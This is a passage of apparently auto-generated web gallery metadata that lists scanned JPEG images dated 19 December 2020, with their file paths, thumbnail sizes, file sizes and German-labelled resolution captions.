    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516321_0001.jpg","dates":{"dateTaken":1608392775},"fileDate":"2020-12-19T16:46:15.614Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:15.614Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516322_0001.jpg","image":{"path":"slides\/S22C-620121516322_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516322 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516322_0001.jpg","width":340,"height":260},"fileSize":524721,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516322_0001.jpg","dates":{"dateTaken":1608392776},"fileDate":"2020-12-19T16:46:16.807Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:16.807Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516330_0001.jpg","image":{"path":"slides\/S22C-620121516330_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516330_0001.jpg","width":340,"height":260},"fileSize":447710,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516330_0001.jpg","dates":{"dateTaken":1608392777},"fileDate":"2020-12-19T16:46:17.883Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:17.883Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516340_0001.jpg","image":{"path":"slides\/S22C-620121516340_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516340_0001.jpg","width":340,"height":260},"fileSize":242684,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516340_0001.jpg","dates":{"dateTaken":1608392779},"fileDate":"2020-12-19T16:46:19.900Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:19.900Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516341_0001.jpg","image":{"path":"slides\/S22C-620121516341_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516341 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516341_0001.jpg","width":340,"height":260},"fileSize":345761,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516341_0001.jpg","dates":{"dateTaken":1608392781},"fileDate":"2020-12-19T16:46:21.890Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:21.890Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516342_0001.jpg","image":{"path":"slides\/S22C-620121516342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516342_0001.jpg","width":340,"height":260},"fileSize":635782,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516342_0001.jpg","dates":{"dateTaken":1608392783},"fileDate":"2020-12-19T16:46:23.363Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:23.363Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516343_0001.jpg","image":{"path":"slides\/S22C-620121516343_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516343 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516343_0001.jpg","width":340,"height":260},"fileSize":317842,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516343_0001.jpg","dates":{"dateTaken":1608392784},"fileDate":"2020-12-19T16:46:24.390Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:24.390Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516350_0001.jpg","image":{"path":"slides\/S22C-620121516350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516350_0001.jpg","width":340,"height":260},"fileSize":656675,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516350_0001.jpg","dates":{"dateTaken":1608392785},"fileDate":"2020-12-19T16:46:25.351Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:25.351Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516351_0001.jpg","image":{"path":"slides\/S22C-620121516351_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516351_0001.jpg","width":340,"height":260},"fileSize":376182,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516351_0001.jpg","dates":{"dateTaken":1608392787},"fileDate":"2020-12-19T16:46:27.372Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:27.372Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516353_0001.jpg","image":{"path":"slides\/S22C-620121516353_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516353 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516353_0001.jpg","width":340,"height":260},"fileSize":484745,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516353_0001.jpg","dates":{"dateTaken":1608392789},"fileDate":"2020-12-19T16:46:29.678Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:29.678Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516354_0001.jpg","image":{"path":"slides\/S22C-620121516354_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516354 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516354_0001.jpg","width":340,"height":260},"fileSize":600164,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516354_0001.jpg","dates":{"dateTaken":1608392790},"fileDate":"2020-12-19T16:46:30.820Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:30.820Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516360_0001.jpg","image":{"path":"slides\/S22C-620121516360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516360_0001.jpg","width":340,"height":260},"fileSize":702781,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516360_0001.jpg","dates":{"dateTaken":1608392791},"fileDate":"2020-12-19T16:46:31.978Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:31.978Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516361_0001.jpg","image":{"path":"slides\/S22C-620121516361_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516361 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516361_0001.jpg","width":340,"height":260},"fileSize":314965,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516361_0001.jpg","dates":{"dateTaken":1608392792},"fileDate":"2020-12-19T16:46:32.962Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:32.962Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516362_0001.jpg","image":{"path":"slides\/S22C-620121516362_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516362 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516362_0001.jpg","width":340,"height":260},"fileSize":146669,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516362_0001.jpg","dates":{"dateTaken":1608392793},"fileDate":"2020-12-19T16:46:33.919Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:33.919Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516363_0001.jpg","image":{"path":"slides\/S22C-620121516363_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516363 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516363_0001.jpg","width":340,"height":260},"fileSize":837967,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516363_0001.jpg","dates":{"dateTaken":1608392796},"fileDate":"2020-12-19T16:46:36.534Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:36.534Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516364_0001.jpg","image":{"path":"slides\/S22C-620121516364_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516364 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516364_0001.jpg","width":340,"height":260},"fileSize":262757,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516364_0001.jpg","dates":{"dateTaken":1608392797},"fileDate":"2020-12-19T16:46:37.708Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:37.708Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516370_0001.jpg","image":{"path":"slides\/S22C-620121516370_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516370 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516370_0001.jpg","width":340,"height":260},"fileSize":343219,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516370_0001.jpg","dates":{"dateTaken":1608392798},"fileDate":"2020-12-19T16:46:38.821Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:38.821Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516371_0001.jpg","image":{"path":"slides\/S22C-620121516371_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516371 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516371_0001.jpg","width":340,"height":260},"fileSize":431725,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516371_0001.jpg","dates":{"dateTaken":1608392799},"fileDate":"2020-12-19T16:46:39.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:39.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516372_0001.jpg","image":{"path":"slides\/S22C-620121516372_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516372 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516372_0001.jpg","width":340,"height":260},"fileSize":481776,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516372_0001.jpg","dates":{"dateTaken":1608392800},"fileDate":"2020-12-19T16:46:40.703Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:40.703Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516373_0001.jpg","image":{"path":"slides\/S22C-620121516373_0001.jpg","width":567,"height":800},"imageCaption":"

    S22C-620121516373 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516373_0001.jpg","width":340,"height":260},"fileSize":310723,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121516373_0001.jpg","dates":{"dateTaken":1608392803},"fileDate":"2020-12-19T16:46:43.264Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:43.264Z","resolution":"1433 x 2023"}},{"path":"S22C-620121516374_0001.jpg","image":{"path":"slides\/S22C-620121516374_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516374 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516374_0001.jpg","width":340,"height":260},"fileSize":290629,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516374_0001.jpg","dates":{"dateTaken":1608392804},"fileDate":"2020-12-19T16:46:44.922Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:44.922Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516380_0001.jpg","image":{"path":"slides\/S22C-620121516380_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516380 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516380_0001.jpg","width":340,"height":260},"fileSize":474298,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516380_0001.jpg","dates":{"dateTaken":1608392806},"fileDate":"2020-12-19T16:46:46.102Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:46.102Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516381_0001.jpg","image":{"path":"slides\/S22C-620121516381_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516381 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516381_0001.jpg","width":340,"height":260},"fileSize":115519,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516381_0001.jpg","dates":{"dateTaken":1608392807},"fileDate":"2020-12-19T16:46:47.166Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:47.166Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516382_0001.jpg","image":{"path":"slides\/S22C-620121516382_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516382 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516382_0001.jpg","width":340,"height":260},"fileSize":144424,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516382_0001.jpg","dates":{"dateTaken":1608392808},"fileDate":"2020-12-19T16:46:48.2Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:48.2Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516390_0001.jpg","image":{"path":"slides\/S22C-620121516390_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516390 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516390_0001.jpg","width":340,"height":260},"fileSize":428171,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516390_0001.jpg","dates":{"dateTaken":1608392809},"fileDate":"2020-12-19T16:46:49.18Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:49.18Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516392_0001.jpg","image":{"path":"slides\/S22C-620121516392_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516392 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516392_0001.jpg","width":340,"height":260},"fileSize":565659,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516392_0001.jpg","dates":{"dateTaken":1608392809},"fileDate":"2020-12-19T16:46:49.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:49.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516400_0001.jpg","image":{"path":"slides\/S22C-620121516400_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516400 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516400_0001.jpg","width":340,"height":260},"fileSize":513099,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516400_0001.jpg","dates":{"dateTaken":1608392810},"fileDate":"2020-12-19T16:46:50.550Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:50.550Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516401_0001.jpg","image":{"path":"slides\/S22C-620121516401_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516401 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516401_0001.jpg","width":340,"height":260},"fileSize":452762,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516401_0001.jpg","dates":{"dateTaken":1608392811},"fileDate":"2020-12-19T16:46:51.247Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:51.247Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516410_0001.jpg","image":{"path":"slides\/S22C-620121516410_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516410 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516410_0001.jpg","width":340,"height":260},"fileSize":764789,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516410_0001.jpg","dates":{"dateTaken":1608392811},"fileDate":"2020-12-19T16:46:51.893Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:51.893Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516411_0001.jpg","image":{"path":"slides\/S22C-620121516411_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516411 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516411_0001.jpg","width":340,"height":260},"fileSize":677735,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516411_0001.jpg","dates":{"dateTaken":1608392812},"fileDate":"2020-12-19T16:46:52.575Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:52.575Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516412_0001.jpg","image":{"path":"slides\/S22C-620121516412_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516412 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516412_0001.jpg","width":340,"height":260},"fileSize":285430,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516412_0001.jpg","dates":{"dateTaken":1608392813},"fileDate":"2020-12-19T16:46:53.301Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:53.301Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516413_0001.jpg","image":{"path":"slides\/S22C-620121516413_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516413 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516413_0001.jpg","width":340,"height":260},"fileSize":167987,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516413_0001.jpg","dates":{"dateTaken":1608392814},"fileDate":"2020-12-19T16:46:54.671Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:54.671Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516414_0001.jpg","image":{"path":"slides\/S22C-620121516414_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516414 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516414_0001.jpg","width":340,"height":260},"fileSize":243877,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516414_0001.jpg","dates":{"dateTaken":1608392815},"fileDate":"2020-12-19T16:46:55.835Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:55.835Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516420_0001.jpg","image":{"path":"slides\/S22C-620121516420_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516420 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516420_0001.jpg","width":340,"height":260},"fileSize":154931,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516420_0001.jpg","dates":{"dateTaken":1608392816},"fileDate":"2020-12-19T16:46:56.885Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:56.885Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516421_0001.jpg","image":{"path":"slides\/S22C-620121516421_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516421 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516421_0001.jpg","width":340,"height":260},"fileSize":352842,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516421_0001.jpg","dates":{"dateTaken":1608392817},"fileDate":"2020-12-19T16:46:57.822Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:57.822Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516422_0001.jpg","image":{"path":"slides\/S22C-620121516422_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516422 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516422_0001.jpg","width":340,"height":260},"fileSize":229354,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516422_0001.jpg","dates":{"dateTaken":1608392826},"fileDate":"2020-12-19T16:47:06.160Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:06.160Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516443_0001.jpg","image":{"path":"slides\/S22C-620121516443_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516443 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516443_0001.jpg","width":340,"height":260},"fileSize":266166,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516443_0001.jpg","dates":{"dateTaken":1608392836},"fileDate":"2020-12-19T16:47:16.113Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:16.113Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516444_0001.jpg","image":{"path":"slides\/S22C-620121516444_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516444 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516444_0001.jpg","width":340,"height":260},"fileSize":336954,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516444_0001.jpg","dates":{"dateTaken":1608392838},"fileDate":"2020-12-19T16:47:18.566Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:18.566Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516451_0001.jpg","image":{"path":"slides\/S22C-620121516451_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516451 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516451_0001.jpg","width":340,"height":260},"fileSize":268174,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516451_0001.jpg","dates":{"dateTaken":1608392843},"fileDate":"2020-12-19T16:47:23.356Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:23.356Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516452_0001.jpg","image":{"path":"slides\/S22C-620121516452_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516452 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516452_0001.jpg","width":340,"height":260},"fileSize":625627,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516452_0001.jpg","dates":{"dateTaken":1608392844},"fileDate":"2020-12-19T16:47:24.945Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:24.945Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516460_0001.jpg","image":{"path":"slides\/S22C-620121516460_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516460 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516460_0001.jpg","width":340,"height":260},"fileSize":497919,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516460_0001.jpg","dates":{"dateTaken":1608392847},"fileDate":"2020-12-19T16:47:27.797Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:27.797Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516461_0001.jpg","image":{"path":"slides\/S22C-620121516461_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516461 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516461_0001.jpg","width":340,"height":260},"fileSize":322369,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516461_0001.jpg","dates":{"dateTaken":1608392848},"fileDate":"2020-12-19T16:47:28.985Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:28.985Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516462_0001.jpg","image":{"path":"slides\/S22C-620121516462_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516462 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516462_0001.jpg","width":340,"height":260},"fileSize":255762,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516462_0001.jpg","dates":{"dateTaken":1608392850},"fileDate":"2020-12-19T16:47:30.693Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:30.693Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516463_0001.jpg","image":{"path":"slides\/S22C-620121516463_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516463 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516463_0001.jpg","width":340,"height":260},"fileSize":779524,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516463_0001.jpg","dates":{"dateTaken":1608392852},"fileDate":"2020-12-19T16:47:32.306Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:32.306Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516470_0001.jpg","image":{"path":"slides\/S22C-620121516470_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516470 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516470_0001.jpg","width":340,"height":260},"fileSize":155017,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516470_0001.jpg","dates":{"dateTaken":1608392856},"fileDate":"2020-12-19T16:47:36.211Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:36.211Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516471_0001.jpg","image":{"path":"slides\/S22C-620121516471_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516471 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516471_0001.jpg","width":340,"height":260},"fileSize":265295,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516471_0001.jpg","dates":{"dateTaken":1608392858},"fileDate":"2020-12-19T16:47:38.6Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:38.6Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516472_0001.jpg","image":{"path":"slides\/S22C-620121516472_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516472 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516472_0001.jpg","width":340,"height":260},"fileSize":635278,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516472_0001.jpg","dates":{"dateTaken":1608392860},"fileDate":"2020-12-19T16:47:40.57Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:40.57Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516473_0001.jpg","image":{"path":"slides\/S22C-620121516473_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516473 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516473_0001.jpg","width":340,"height":260},"fileSize":377687,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516473_0001.jpg","dates":{"dateTaken":1608392861},"fileDate":"2020-12-19T16:47:41.339Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:41.339Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516474_0001.jpg","image":{"path":"slides\/S22C-620121516474_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516474 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516474_0001.jpg","width":340,"height":260},"fileSize":212831,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516474_0001.jpg","dates":{"dateTaken":1608392863},"fileDate":"2020-12-19T16:47:43.194Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:43.194Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516480_0001.jpg","image":{"path":"slides\/S22C-620121516480_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516480 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516480_0001.jpg","width":340,"height":260},"fileSize":410205,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516480_0001.jpg","dates":{"dateTaken":1608392864},"fileDate":"2020-12-19T16:47:44.821Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:44.821Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516481_0001.jpg","image":{"path":"slides\/S22C-620121516481_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516481 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516481_0001.jpg","width":340,"height":260},"fileSize":366189,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516481_0001.jpg","dates":{"dateTaken":1608392866},"fileDate":"2020-12-19T16:47:46.30Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:46.30Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516482_0001.jpg","image":{"path":"slides\/S22C-620121516482_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516482 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516482_0001.jpg","width":340,"height":260},"fileSize":377953,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516482_0001.jpg","dates":{"dateTaken":1608392867},"fileDate":"2020-12-19T16:47:47.311Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:47.311Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516484_0001.jpg","image":{"path":"slides\/S22C-620121516484_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516484 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516484_0001.jpg","width":340,"height":260},"fileSize":177493,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516484_0001.jpg","dates":{"dateTaken":1608392871},"fileDate":"2020-12-19T16:47:51.118Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:51.118Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516491_0001.jpg","image":{"path":"slides\/S22C-620121516491_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516491 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516491_0001.jpg","width":340,"height":260},"fileSize":121477,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516491_0001.jpg","dates":{"dateTaken":1608392873},"fileDate":"2020-12-19T16:47:53.399Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:53.399Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516492_0001.jpg","image":{"path":"slides\/S22C-620121516492_0001.jpg","width":1000,"height":707},"imageCaption":"

